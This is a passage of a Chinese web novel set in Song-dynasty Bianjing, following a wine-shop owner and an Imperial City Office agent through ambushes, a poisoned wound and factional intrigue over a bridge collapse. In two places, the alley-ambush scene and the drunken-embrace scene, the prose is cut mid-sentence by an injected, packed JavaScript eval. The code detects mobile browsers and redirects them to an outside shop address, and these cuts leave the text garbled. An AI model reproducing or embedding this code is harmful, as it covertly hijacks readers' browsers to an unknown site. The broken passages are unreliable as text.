他转过脸来,脸上似镀了一层柔光:“若得闲,陪你去看看,就当散心,里行那件事……其实有些东西留着反而会害了你。” “害了我?”许知非忽然来了气,“好,就算如你所说,是隐患,但他们是怎么知道东西在哪里的?你搬出去之后,就不常回来,昨晚他们刚走,你就来了,你告诉我,跟你有没有关系?” “有,”许云洲没有迟疑,“他们顺着我这条线,摸到了你,又不知怎么,发现了你藏的零碎。” “不知怎么?” “对,不知怎么,但这也是好事。” 许知非身上微微发颤,根本没有一件事在她的掌控里,而她却好像被什么人拨来算去,随意就放在某个位置上,而她太小了,小到看不见自己到底落在了哪里,而周围的一切都是庞然大物。 几个孩童拍手嬉戏,从许云洲身后跑过去,唱着:“井底月,捞不着,树上花,摘不到,镜中人,笑一笑,笑一笑,魂笑掉。” 好奇怪的童谣…… 许知非回了神,看着他们走远,忽然有些不好的感觉。 许云洲顺着她的目光看过去,平静道:“市井童谣,总有些无稽之词,别在意。” 一个小女孩转过头来,看向许知非,眼睛直愣愣的,空洞一片,忽然大喊:“笑一笑,魂笑掉!” 许知非吓了一跳,往后退了半步。 许云洲拉起她的手:“走。” 两人走出十余步,又回头去看,那个小女孩仍站在那里,直勾勾看着她。 “那童谣……不像是孩子会说的东西。” “汴京童谣月月新,多是孩童胡编乱造,不过……”他一边拉着她往前走,一边看向往来行人:“近来城中确有些不太安稳,你也看到了,命案频发,开封府这些时日忙得不可开交,皇城司勾当官亲自坐镇,几乎出动了所有人,你酒坊落灯之后要关好门户,开沽要留意来往生人,还有你,别自己出门,早前那些事,不论是官府还是凶手,都有盯上你的可能。” 他说着,神情化作一片冷厉,语气斩钉截铁,像个断案的官。 许知非看着他,轻声问道:“为什么是我?” 他转头对上了她探究的目光,一下怔住:“……你家的案子,可能涉及党争。” “还有呢?” 她语气冷硬,是逼问的态度,抓紧他心虚的时刻,趁火打劫。 前面不远处,绸缎庄里走出一个身穿深紫色常服的男子,许云洲余光瞥见,忽然拉着她走进人群深处。 “你……你干什么?!” 许知非挣扎回头,那个紫袍男人也朝他们离开的方向看过来,目光在许知非脸上停了一下,又扮作不经意,落进人群里。 那是司马光,原身见过他。 他带着随从走进一条巷子里,那随从回头看了一眼,视线在许云洲身上停了片刻,又迅速移开。 “那人……”许知非轻声道。 “旧党魁首,司马君实。” “你认得他?” “宫中宴饮时……见过几次……走吧,日头高了。” 他扳了她的肩快步离开,一路走到甜水巷附近。 巷子里静得反常,连雀鸣都消失了,他脚步渐渐慢下来,最后带着她贴墙停住。 许知非也觉得不对劲,这种地方就是案发现场的场景,她警惕起来,靠近他。 许云洲低声道:“往前第三户门里有人。” 许知非心头一凛,这是不能消停了吗?那扇黑漆木门虚掩着,门缝后面当真有个黑影一闪而过。 “右转,继续走。”许云洲伏在她耳边说道,“别回头,别停,前面有甜水巷一个后门,进去弄一身女子装扮换上,别让人认得你。” “那你……” “我晚些到。” “你上次说晚些……” “这次决不食言,信我。”他没等她说完,神情恳切,半似央求。 许知非有些愣住,巷子另一头传 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17056997|194548||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来些兵器擦过石头的声响,他猛地把她往前推:“走!” 她顺着他的力道拔腿就跑,身后传来兵器相击的铮响。 她跑进甜水巷的楼阁里,青石板在日光下亮得发白,两侧楼阁寂静无声,二楼晾着几身褪色的衣裙,飘飘荡荡,像幽灵…… 她抬头看了看,伸手取下一套藕粉色的粗麻裙,料子粗糙得像是裹尸布。 她找到一个角落里的杂物堆,确定没有人,把男装脱了下来,裹胸布一层层解开,换上裙子。 底层妓子的衣着,不正常的暴露……算了,没别的办法,抓起墙角一把灰土,狠狠抹在了脸上、脖子上,找了楼梯底下的角落,坐下来。 她一直躲到夜色如墨,灯笼次第挂起,脂粉香气混着酒气从楼阁房间里漫出来,才拾了一片碎瓦试着走出去。 妓子们坐在灯下,有些倚着门,摇着团扇,檐下灯罩上的蝴蝶鸳鸯像是她们廉价的美梦,轻轻摇晃,打着转。 许知非刻意站在暗处,听见琵琶、月琴、笙箫……全混在一起,不成调子,伴着男人破锣般的猥琐笑声,几个衣着破烂的苦力攥着几个铜板走进来,怯怯地东张西望,摇着折扇的文人,摇头晃脑,念着酸诗…… 她像个异物,退到更暗处,一个醉醺醺的声音从她身后传来:“新来的?” 她没动,一只肥厚的手从背后伸过来,要撩她的头发。 “抬头给爷……” 许知非一抬眼,眼神利得剜人,那醉汉退了一步。 “晦气!”他骂了一句,摇摇晃晃离开。 许知非松开手里的瓦片,抬眼寻找许云洲的身影,这人说了会来,可天都黑了……该不会就是只鸽子吧。 楼阁里什么声音都有,许知非听得有些烦躁,正想自己离开,巷口光晕里走来一个人影,左手垂着,袖口满是血迹,姿态却还端着。 许知非站着没动,看清了那张温润不改的脸,只是那双眼睛里的笑意在看见她的一瞬好像碎掉了。 他朝她走过来,脚步很快,一副蓄势待发的样子。 刚刚那个醉汉像是看见了什么有意思的事情,踉踉跄跄又到了许知非身后:“哟……小娘子等的是……” “退后。”许云洲右手搭在他肩上,试图将他推开,眼中暴戾渐起。 那醉汉猛地甩脱他,肥厚的手按在许知非肩上:“你谁啊?敢跟……” 他那酒气浑浊的话还没说完,许云洲已掐住了他的手腕,随之而来的是骨头在血肉里崩裂的声响,一连串,从手腕蔓延到他肩上,干脆利落。 那只抚琴点茶的手,轻而易举捏碎了那个醉汉整条手臂,许知非看得清清楚楚……他果然不是弹琴的。 有人惊呼,但很快便走开……甜水巷,有什么荒唐事都是正常的。 许云洲脱下外袍披在她肩上,半搂着她往外走:“对不起,来晚了。” 许知非看了看他垂在一边的左手:“你的手……” “小伤,先回去。” 他声音沙哑,左臂衣袖上的血迹明显在蔓延,呼吸有点乱,身上的重量渐渐有些往她身上压。 许知非伸手环在他腰后,姿势一下成了她扛着他的样子。 “硬撑的一般都是蠢货。” 许云洲低头看她:“感念坊主不嫌弃。”他笑得温柔,昏灯之下能看出脸色虚弱苍白。 她扶着他沿河往西,灯火不多,路人也少,看不清,都以为是酒客带了甜水巷的姑娘出来。 两人从后门进了酒坊,林修已等在院子里,有好几个黑影伏在暗处。 许知非有些心惊,双手抱在许云洲腰上,冷声道:“你主子遭人打了,去找青禾,让他取药来。” 林修颔首道是,当即跑去前面客堂寻人。 许知非稍稍安心,带着许云洲走向楼梯口,发现阴影里的人全是她这些日子里招进来的伙计,如今个个化作了武夫姿态,神情狠戾,好像在防范着什么。 她扶着他走上楼去:“都是你安排的?” “是……” 他声音低得发颤,她平了一下就要上头的火气,不能对伤患生气……动作却掩饰不住暴躁,几乎是拖着他往上走。 西厢的灯早已点着,她把他推到榻上,沉着脸就走。 他抬起伤臂拉住她,力道轻得只是手指环在她腕上,却好像已经尽力了。 “事出有因,你别生气。” 许知非发觉手上一阵湿腻,低头去看,本能地翻开他的手,看见一道深可见骨的伤:“徒手接刃?” “嗯……” 他应得有些娇嗔,许知非一抬眼,果然是一副我弱我有理的模样。 “愚蠢。”她骂了一句,收着力把他的手推回去。 青禾和赵伯一个拿来伤药和白布条,一个端了热水来。 “这人来了之后就没好事,小坊主还要留着他?”青禾把手里的东西放在桌上,怒气冲冲。 赵伯把水盆稳稳放下:“许公子也是咱们东家,青禾,客气些。” “东家?趁火打劫吧!”青禾撇了许云洲一眼,转身就走。 林修正好进来,两人险些撞上,他又恼道:“让开!” 赵伯立即拱手道:“年轻人脾气大些,许公子别见怪。”他转身又对林修拜了拜。 林修稍稍回礼,退在一边,青禾头也不回,大步走出去。 “怪什么,青禾说的没错。”许知非把其中一瓶药拿起来,打开闻了一下,“这个是我配的,你是第一个用的,看会不会死,如何?” “能为坊主试药,也是许某一件功德。”许云洲说得平和,视线越过她,看着赵伯离开。 许知非听见门关上,开口道:“是吗?那把我当白老鼠,引蛇出洞,也是我的功德了?许大人?” “知非……” “我不管你是什么官,我一个老百姓也斗不过你。”她打断他的话,把药粉倒在他手上,指尖轻轻拨了拨,认真仔细,“但只要你保证我的酒坊能开下去,赵伯和青禾能绝对安全,其余的,你大可明说,我可以配合你,甚至,验尸、疗伤,都可以。” 她把布条缠在他手上,动作精确到位:“你们这里,宫里最好的医官,都不及我,至于为什么,我不问你,你也不要问我,如何?”她把布条打了个结,不松不紧,刚刚好。 许云洲动了动手指,又理所当然地解开了一侧衣袍,把香料铺里买的东西取了出来,放在一边,左臂上,一道横切的伤口皮肉翻卷,血迹已渗满了那一侧的衣袖。 灯火勾勒出他肩头和胸口清晰的线条,肌肉白皙,轮廓分明,根本就是个武夫,还是养尊处优的那种。 “今天……对不起。”他抬头看她,恳切道,“不会再让你……”他说着又像意识到什么,目光转开,又落在她身上,“这裙子,不适合你。” 许知非低头看了看:“甜水巷只有这样的。” “是我考虑不周了,不该让你去那种地方。” 许知非拢了一下他披在她身上的外袍,觉得有些别扭,刚才说的话他当耳边风?看不起人? 她拧起盆里的湿布,沾了药酒去擦他手臂上的伤,发现血里有些蓝绿色:“有毒。” “不多,我封了穴道,死不了。”他声音带笑,不合时宜,不像个东西。 许知非扫了他一眼,拿起另一瓶药粉倒在手指上,轻轻按进伤口里:“你死了我正好拿回酒坊一半的份额,是好事。” “嗯,我知道。”他说得欢喜,有些奇异的满足感,许知非听得有些发慌,没看他,包扎的时候手指有些不听使唤。 她能感觉到他盯着她看,好不容易系好结,刚松口气,院子里有个伙计大喝:“什么人!” 许知非心一沉,跑到窗边,一个黑影从她面前闪过,直接窜上了房顶。 许云洲把她拉回去,挡在她面前,朝外面吼道:“抓回来!” 头顶上,瓦片响声迅速增多,但很快远离了酒坊,她这才想起虹桥底下跑出去的那个黑影:“那是什么人?” “不知道,虹桥、瓦舍、花火节……都有他。” …… 三月二十二 虹桥坍塌之后第四天,酒坊生意日渐红火。 市井传闻春风酒幡的小坊主破了大案,谋害钱员外的凶手是多亏了许坊主才顺利抓到的,许多酒客慕名而来,好奇这小坊主什么模样,居然有这样的本事。 沽酒的队伍从柜台排到街口,许知非累麻了,到底什么凶手她自己都不知道,只知道如今不大的酒坊三个人连轴转。 她撸高了袖子到后院取酒,扫过一眼那个小门,许云洲说晚些回来,已经晚了四天…… 西厢房桌上还放着他的琴,几卷琴谱还在柜子里,还有两身他的衣袍……简素得好像随时消失也不奇怪。 林修抱臂站着墙边角落里……这几天总之不挡路他就站那,只要能看见她就行。 她去买东西,他站着铺子对面,她去药铺采买药材配店里备用的药,他就坐在街角自己喝粗茶,她回房休息,他站门口…… 她把酒坛放下,走到他面前:“你饿不饿?” 林修愣住,张了张嘴,没说出话来。 她转身去了后厨,端出来一碗羊肉烩:“趁热吃,厨房里可以坐,你不用这么盯着我。” “公子命我护卫坊主安全。” 许知非想了想,开口问道:“他人呢?” “公子无事,坊主勿忧。” 许知非点头:“好。” 他说无事,那便是有交代了,只是没有跟她交代。 林修眼珠转了转,像是疑惑,又像是迷茫,双手端着那碗羊肉烩,看着她,呆呆的。 许知非沉了口气,人家也没有非跟她交代的必要…… 她往前面客堂走去,顺手提了刚才放下的酒坛子。 前堂人声鼎沸,醉醺醺的汉子插队,撞掉了一个老头的酒壶。 陶片碎了一地,酒水撒到了老头棉靴上。 “作死啊!”老头大声嚷嚷。 “老东西挤甚!”那汉子抡起了拳头。 许知非刚把酒坛放在酒架上,抬眼张望,林修已从后院出来,手里端着那碗羊肉。 那汉子似有所感,转眼看见了林修,摇摆朦胧的眼神霎时醒了大半,讪讪退到队伍后面。 林修站在那里,目光冷厉,紧盯着那个汉子退出去的方向,许知非回头看了看,倒是真的凶,也算管用。 午时日头爬高,酒坊更加热闹,午歇的力工小厮没座位,沽了酒坐在地上吃外面带来的烧饼。 许知非一手舀酒,一手找零,时不时看看墙上的沽酒簿。 那是一块刷了桐油的木板,用炭笔记着每日出货,字迹是她改良的阿拉伯数字和简体字,只有她自己看得明白。 申时,澄心酿沽空,许知非挂上售罄的木牌,去后院酒窖里取替换出售的石冻春。 柴房里,一个人影从窗上晃过去,接着传来琉璃酒器的碰撞声。 她放慢了脚步,回头发现林修不在,后背有些发凉。 该不会是发现什么人,追出去了吧?可人在这里啊…… 她拿起一个墙边一个废弃的酒勺,当棍子握在手里,一步步往柴房靠近。 快到门口的时候,那个人影从门里走出来,手里拿着一个琉璃壶,看姿势是刚喝了一口。 许知非一下停住,站直了身子:“是你?” 许云洲看了看手里的酒壶,又看看她,又喝了一口:“抱歉,耽搁了几日。”他摇了摇酒壶,“渴,没找到水。” 许知非皱起眉头来,这人撒谎不打草稿,她没好气道:“水不是在厨房吗?你敢说你不知道?” 许云洲一脸无辜:“坊主,这也算我家东西。” 许知非一脸嫌弃:“好,酒喝了,说好的消息呢?” 他走近她面前,又喝了一口:“工部主事、开封府左军巡院巡检,革职流放,都水监监丞以下七人,杖责罢官。”他说得随意,目光落在她的脸上,“据查,坍塌是因桥基朽坏,去年修缮的时候,工部贪了银两……死伤一共三十七人……算少了。” 许知非冷笑,一双利眼盯着他:“贪墨银两?那就不止工部,桥塌的时候,漕船明显超载,按例,虹桥白日不可以过大型货船,但那天至少有四艘满载的纲船强行通过,守桥的官兵呢?漕司的人呢?” 许云洲有些无奈,看着她的眼睛:“你说得对,所以不止这几个人,漕司勾当官、守桥指挥使,今天午时在皇城司地牢自尽。” 许知非心头一凛,有些事,明面上是不能办的。 贪墨银两,牵涉太广,往上能扯到三司使,往下能扯到半个漕运网,若真的一查到底,汴京的粮、盐、布……都要断,这是老百姓更加承受不起的,尤其是商户…… “所以,只能这样断几根手指头,告诉某些人,适可而止?” “暂且是这样。”许云洲举起酒壶往嘴里倒酒,动作间,袖口一截包扎伤口的白布露了出来。 许知非看了一眼,当作不知:“你这几天都去了哪里?” “在开封府,帮着官府调查,毕竟我救了很多人。”他笑起来,一脸狡黠。 8. 醉念 只是在官府协助会受伤吗?她有些怀疑,点了头:“前面还忙着,你别把我的酒喝光了就行。” 她留了个心眼,转身走向酒窖,能感觉到他站在原地没走,正看着她。 她没有回头,从酒窖里取了两坛石冻春,半跑着又从他面前经过,直接回到大堂里,做出一副很着急的样子。 林修从后门回来,手里还端着那个碗:“公子,人跑了。” 通往前堂的小门布帘刚刚落下,许云洲回到柴房里,把那个琉璃酒瓶放在墙边木桌上。 他脱了上衣坐下,卷起衣袖,拆开手臂上随意缠绕的布条。 桌上一把小刀,他拿起来放在烛火上烤:“是雀鸩……辽人用来对付黑熊的。” 他把自己伤口周围的腐肉一点点剃下来,下刀极稳,强忍着痛,颈项绷紧,额角冷汗如星,新鲜的血顺着他的手指往下流,滴在地上。 林修把碗放下,从怀里取出一截断箭放在桌上:“箭杆是榆木,尾羽是塞北雕翎,弟兄们把弓带回去了,三石弩,改过,射程比制式远一半,手法……像是军器监早年流失的私活。” 许云洲把刀扔在桌上,双手微微发颤,拿起布条,用嘴咬着一头,左手拉住另一头,一面把伤口裹上,缠紧,一面含糊道:“……是周铎。” “八成。”林修拿起酒壶,把半壶酒全倒在地上,稀释后的血迹顺着地面倾斜的方向流进墙脚下备着排水的小水沟里,“卑职以为,周铎是旧党的刀,但握刀的人……可能是司马大人,也可能是宫里某位不愿见新政太快的主子。” 许云洲点头,把衣袍重新穿好:“虹桥这件事,若王安石借题发挥,旧党十年经营的漕运、工造、河防三条财路,会被连根拔起。”他收起桌上小刀,又是一副儒雅风流的模样,“桥塌那天,周铎的副手带着一队厢军在东水门协防,可看见了?” “看见了,其中几个背的弓袋形制不同,今日申时,那队人被调往陈州剿匪,卑职觉得……” “死无对证。”许云洲起身顺了一下前襟,“此刻旧党最想除掉的是王安石,但他们无从下手,而我在追查军器监旧帐,如今又插手虹桥一事,他们以为我是王安石的人。他们以为皇城司倒向新党,所以埋伏我,一是警告,二是试探,若我死了,他们就安心了,若我活着,但退缩,他们便知皇城司尚有顾忌。” 他拿起那截断箭,仔细查看箭杆上的纹路:“但他们算错了两件事。” “第一,我不偏向任何一方,”他声音冷彻,神情也变得阴鸷,“皇城司只忠于陛下,而陛下要的从来不是新旧党争出胜负,是平衡,旧党若真被赶尽杀绝,新党独大,下一个要对付的就是皇城司。” “第二,”他顿了顿,走到门口,断箭敲在门框上,看向那个通往前堂的小门,“他们不该动我身边的人。” 林修跟了一步,谨慎道:“公子,还有一事,许坊主今日问起您。” 许云洲眼中光点微转:“……说什么。” “她问您去了哪里,卑职说您没事,让她勿忧。” 柴房里静了下去,酒香盖过了血腥气,许云洲盯着地面,目光渐渐失了焦:“她只需要查清她父母的冤案,其余的,我来挡,别让他们碰她。” 林修微微颔首,低声道:“市井如今已传开了,钱员外的死是许小娘子协助官府验尸找到的凶手,卑职觉得,若流言愈演愈烈,那董二如若翻案,又或是本就留有后手,旧党若动不到您,或许会从她下手,不顾一切逼您收手。” 许云洲低笑,随手把断箭往后一扔,并没管会落在哪里:“那就让他们试试。” 林修往旁挪了一步,轻松接下,又从桌上拿起了那个碗:“她还给卑职吃的,让卑职歇会儿。” 许云洲回头看了一下,又道:“王安石十九那日赶忙着上了《乞严核工漕疏》,列了五条,追查贪墨,彻查漕司,改组都水监,拟法试点河运物料采购……还有彻查庆历七年以来,所有军器监、将作监外派官员的账目。” “王公这是要撕开旧伤,那许小娘子……” “司马君实当日连上三轧反对,一说国朝以稳为上,二说王安石借灾扩权,其心可诛,三说……将虹桥案交由三司会审,皇城司不得插手。” “是怕我们查得太深。” “没错,工部的银子,漕司的货,还有都水监年年请款修桥,桥却塌了,这账,我们一笔笔核下去,旧党半数人都要掉脑袋。” “可新政亦有弊,今日,西城米价又涨了两成,因漕运中断,各衙署都有自己的说法,东南绢帛压在了码头,因货车不得入城,百姓怨声载道,说‘王公变法变出了豆腐桥。’” 酉时将至,灯笼光影在许云洲脸上微微转动,前堂喧闹声隐约传来,他抬眼望向那个布帘盖着的小门,那后面,于他们而言,其实是另一个世界。 “新政旧党……不过一场早死还是晚死的争论,王安石想刮骨疗毒,可骨头还没刮干净,病人就可能先流血而死,司马光想温药调理,但病灶已入骨髓,灌再多的汤药,也不过是苟延残喘。” “卑职以为,虹桥塌的不是木头,是人心,百姓看见的是桥塌了,而大人们,看到的是机会,新党想借此斩了旧党的根,旧党想借此证明新政劳民伤财。” “是啊,而陛下只是坐在垂拱殿里看着,谁吵赢了,他就往谁那边挪一挪。”许云洲微微叹了口气,理了一下右手衣袖,遮住手臂上包扎的白布条,往外走,“你收拾一下,派人查清周铎那队厢军去了哪里,盯紧司马君实府邸,进出的生面孔都要盯紧,加派几个人暗中护着这里,找五个人准备着,过两日混进酒坊当伙计,演得好的来,别让她发现破绽……我去前堂看看。” “是。” 林修跟着出去,拐进厨房里,取了一块破布回去擦柴房木桌上的血迹。 后院酒瓮之间,一个人影闪过,许云洲脚步微滞,目光厉了三分,没回头。 片刻,后面河道里传来落水声,他继续往前走,小门布帘掀开,前堂喧嚣扑面而来,涌进院子里。 林修从柴房出来,不紧不慢,手里攥着染血的破布,从后门跑出去,几个黑影从暗处奔向他。 河面微有渔火,间歇传来流水拍岸的声音,许知非站在东厢窗边,知道他们两个在柴房里呆了许久,而现在,那几个黑影跟林修聚在一起,像是在说着什么,半晌才散开去,没入暗处便消失了,唯有林修一人回到院子里来。 “这哪里是正经琴师的样子,那些全是暗卫吗?” 她背靠窗边,小声说着,外面传来不知轻重的敲门声,咣咣乱拍。 她皱了皱眉,悄悄从窗边退开,挪到屏风那边,高声问道:“谁?” 等了一会,没人回答,她小心翼翼往房门靠近。 一个黑影映在格心上,这轮廓……悬崖…… 人影与梦境重叠,无论是姿态还是身形都太像了……她往前伸手,一点点拉开门,许云洲一手提着酒壶,一手垂在身侧,满身酒气,低着头,站在门外,腰上鎏金琴轸流光闪烁,轻轻晃动。 “你……” 许知非双眼瞠圆,这人怎么还喝成这样了? 她刚要去扶他,又想起那个人影来,该不会……刚抬起来的手又收了回去。 许云洲忽然抬起头来,一双眼睛如有烟雨,醉得迷离却愈加勾人:“你怎么在我屋里?” “你屋……” 她还没说完,他往前侧了一下身子,走进去,脚步虚浮,在桌边坐下,举起酒壶又往嘴里倒了一口。 许知非上前夺了那个酒壶:“我的房间,我的酒,就算你是半个东家,账还是要明算的。” 许云洲没有要抢的意思,也没有争辩,只是一副醉醺醺模样,看着她,唇角含笑。 许知非身上有些发毛,稍稍往后退。 刚挪了一步,许云洲抓了她的手轻轻一拽,她腕上吃了个巧劲,整个人转了一圈,脚一歪,跌在他怀里。 他抬头看着她,做了个口型,眼中出现一瞬锐光:“有人。”他瞟了一眼房梁,手扣在她腰上,把她抱紧了些。 许知非双手搭在他肩上,微微低头,暗自警惕着房间里的动静。 可她什么也没听见,只听见他略显急促的呼吸声,忽然发顶一松,她恍惚了一下,发现自己的头发散落下来。 黑绸般的头发披落在肩上,她回过头来,他还看着她,手里攥着从她发髻上拔下来的玉簪。 “敢不敢?”他目光落在她的唇上。 她盯着他,耳朵有些发烫:“许先生醉了,我让青禾去做碗醒酒汤。” 他双臂收紧,把头靠在她肩上:“……头晕。” 那声音黏黏糊糊,听起来是真的醉了,许知非双手揪着他的耳朵轻轻一拧,让他抬起头来:“屋 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17070166|194548||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 顶根本没人,你是喝多了。” 他脸上有些发红,笑得一脸痴傻,手臂又收紧了些:“别走……”他一扭头,甩开她的手,把头靠回她肩上,“头疼……” 湿腻烫人的呼吸喷在她脖子上,她又推了他一下,他反倒抱得更紧了些。 她挣扎了一下,猛地一阵晕眩,脑子里,灯火通明的楼阁五光十色,似乎近在眼前,而她跌在一堆废墟里,一双手也是这样抱着她,只是很快,那双手把她用力推开,她抬头时只看见一个背影。 那人站了起来,姿态挺拔,大步离开,逆着光。 她追了上去,听见那人声冷如铁:“许坊主以后做事还是多想想自己几斤几两。” 她猛地回神,发现自己在挣扎中用力推开了他,自己也跌在地上。 许云洲一只手扶着桌子,半跪在地,肩上长发垂落,发丝有些凌乱。 他眼里蒙着一层酒气,仍看着她,有些惊愕和……失落? 他衣襟微微散开,褶皱中露出一小片皮肤,胸前一道擦伤,边缘红肿……像是绳索勒的。 “你……”许知非站起来,伸手去拉他,“你先起来。” “对不起……是我失态了……”他站起来,把手臂从她手里抽出来,扶着桌子转过身去,动作间,明显有些狼狈。 许知非把簪子捡起来,束好头发,低头往外走,拉开了房门:“我去找碗蜜水给你。” 夜幕刚落,酒坊客流只增不减,林修在堂里打起了下手,青禾却不见踪影。 她从后厨出来,端着蜜水走到赵伯身边:“青禾呢?” “青禾说憋闷,出门透透气,许是上街去了。”赵伯恭敬答道,“也好,还应付得来,他不在,客官们都体谅我,不急。”他说着有些不好意思,笑了笑。 许知非看了一眼林修,又看看那些酒客,不像是体谅赵伯,倒都像“体谅”林修…… 她端着蜜水上楼,许云洲还坐在原位,见她回来,眼里氤氲的烟雨化开一抹笑意:“多谢坊主。” 他说着便站起来,往前走,但像是发觉自己有些不稳,两步就停住,等她过来。 许知非把蜜水端到他面前:“喝吧,喝了回去歇着。” 许云洲没接,脸上一副朦胧笑意,就那样看着她,半晌才道:“坊主的眼神,好像在看尸体。”他眼里像有什么碎开,俯身凑近她,两人鼻尖几乎碰上,“没关系,这样很好。” 他动作有些酒精麻痹后的不自然,许知非把碗捧高,凑到他嘴边:“话真多,喝吧,免得人家知道了说我不识好歹,苛待兄长。” 他长睫一眨,嘴先触到了碗,就着她的手势抿了一口,才抬手接走了碗,一饮而尽,再低头,眸中烟雨竟化作两处寒潭,深处映着她的模样。 许知非一怔:“你装醉?” “不全是。”他转身把碗放在桌上,指尖点了点刚刚带上来的酒壶,又端端坐下,“钱员外的案子,开封府抓的是药铺伙计。” “我看到了。” “但凶手不是他,”许云洲指尖敲了一下桌面,“真凶用的毒,是多种草药混合而成,这种方子,汴京黑市才能买到,价抵百金,一个药铺伙计,买不起,也找不到。” “可开封府告示都出来了,回春堂伙计董二供认不讳,因私怨投毒,证据确凿,”许知非眉心深锁,停了一下,又道,“还说都是我的功劳……形同嫁祸……” 她在他对面坐下,盯着敞开的房门,楼下喧闹欢腾,好像另一个世界,而她,如今到底属于哪里?刚刚记忆里的那个人到底是谁……原身为什么好像执着于跟着他? 许云洲回头看向那张水道坊巷图,目光落在城西位置:“董二不是凶手,这案子如今落了定论,如果翻案,罪责随时会落在你头上,但你不能有任何动作,不然,打草惊蛇,真正的凶手就会警觉。” 他把酒壶推在一边,一只手支在桌上扶着头,像是真的头疼:“我查到,他死前两个月,变卖了城西两处田产、三间铺面,换得了现银,应有三千贯。” “他缺钱?”许知非注意到他的动作,撇了一眼壶里的酒,一壶石冻春几乎见底,是真喝了不少…… 许云洲摇头,闭了闭眼,看样子是明显的不适,脸色有些发青:“不可能,钱家做粮布生意,虽不算巨富,但绝不至于变卖家产。那些银子没进钱庄,没有购置新产,更像凭空消失了。” 9. 嚣张 许知非留意着他的神情,问道:“去了哪里?” 许云洲看向那张坊巷图,目光沿着汴河往西,最后停在“梁门”的位置:“那里。” 汴京内城西边的一个城门,城墙根下有个闹市,每日车马行人络绎不绝,驼队拉着煤炭和木材从西边来,去金明池的士人也是从那里出去的,思来想去,都没什么不正常的点。 “那里有黑市?” “有……” 他看起来有些呼吸不畅,一只手撑着桌面,一只手撑在自己膝上,低下头去。 “你是不是不舒服?” “没事……” 他说完这两个字,整个人往前栽下去,许知非眼疾手快,上前将他扶住,但始终撑不住他整个人的重量,堪堪只是没让他直接栽在地上。 “喂,醒醒。”她顺势坐在了地上,摇了摇他的肩。 他倒在她怀里,像是真没了意识,呼吸急促,脸色开始有些泛红。 许知非下颚触到他额头,有些烫,抬手摸了一下:“发烧了?” 她低头看了看他,只是发烧应该不至于昏过去,她勉强动了一下,拉着他,站起来,一步一步用力,最后把他拖到床上。 “……累死我了。”她缓了口气,出门去找林修。 酒坊大堂里还热闹着,青禾不知什么时候回来了,站在柜台后面认真算着账,身后的酒架已空了大半。 她看了一圈,这次是没看见林修在哪里,走到柜台前:“林修呢?” 青禾抬眼扫了一圈,冷淡道:“没看见。” “他刚才还在这里的。”许知非在大堂里找了一圈,又往后院走。 赵伯正好从后院酒窖里提了酒进来:“哟,小坊主,许先生歇下了?” 她愣了一下,那许云洲不知道有什么见不得人的事情,他的状态还是越少人知道越好,她点了点头:“嗯……林修呢?” “林公子好像从后面出去了,也没与小老儿交代。” “哦……” 许知非掀开布帘看了一眼,院子里除了灯火,没什么别的在动,她退回来,又上楼,却见林修进了她的房间,手里好像还拿着什么东西。 她慢慢靠近,从外面往里看。 林修在施针,然后把一个小瓷瓶里的东西倒进了许云洲嘴里,等了一会儿,像是看着他咽下去。 他收起那个瓶子,许云洲竟醒了过来,半撑起身子,却没有看他,目光投向他身后,在房间里张望,像是在找她。 “许知非呢?” 果然…… 许知非眼神一凛,走进去:“我在这里。” 他看起来像是松了口气,但脸色依旧不正常,神情疲惫,无精打采,口唇发白。 “你不会想说是我的酒有问题吧?”许知非先发制人,在他身边坐下,“你睡的可是我的床,我要害你的话,刚才就能动手了。” “我只是怕你自己跑出去。”许云洲声音低哑,有气无力的样子,“外面不安全。” 林修开口道:“公子劳碌过度,是累晕的,许小娘子。” “许小娘子?” “是,许小娘子,眼下,知道你身份的人恐怕不止我们。” “……你说什么?” 许知非脊背一凉,原身这样的身份,一旦暴露,那就是他们常说的:杀身之祸。 许云洲摆了摆手:“你下去吧。” “是,属下在外候着,但公子莫再操劳,饮酒,更不行。” 这话别有意味,许云洲点了点头,却有些不耐烦的样子,但又拿林修无可奈何? 林修带上了门,房中只剩他们两个人,许知非仍是不解,这人一会儿醒一会儿晕,到底是什么意思?身弱?还是……被人下了毒? 脸色青白,呼吸急促,精神不好,指尖色泽正常,没有腹痛症状,虽然虚弱,但没有强直和痉挛的迹象,只是略微昏沉……如果是外毒,那就是毒性并没有很强,不至于危机性命。 他身份可疑,还知道原身一些秘密,极怕她死了…… 许知非看了他一会儿,开口道:“你觉得,我做的事情……有什么不妥的地方吗?” 许云洲本低着头,一副昏昏欲睡的样子,听见她问,抬起脸来,故意反问,欠揍的表情:“你做了什么?” “你不是知道吗?”许知非冷着脸,不吃他这套。 房间安静下去,门外隐约起伏的喧闹声有些清晰起来,两人四目相对,相互盯着。 许云洲眼中一片迷蒙,缓缓开口,慢条斯理:“我知道你想翻案,你是许家遗孤,这些,皇城司也已经发觉了,你感觉呢?有没有不妥呢?” “皇……皇城司?” 麻烦大了,皇城司管的事,没人救的了,这下好了,天崩开局,实锤了。 “你听我的,我还能保住你,你若非要自己来……神仙难救。” 许云洲稍稍侧了一下身子,面向她,唇角噙着笑。 “青禾说的对,许先生果然来趁火打劫的。” “不然呢?凭什么看上你这样的小酒坊?老坊主过世,它就该倒了才对。” 他眼里透着危险,冷冰冰的,是完全掌控局面的嚣张。 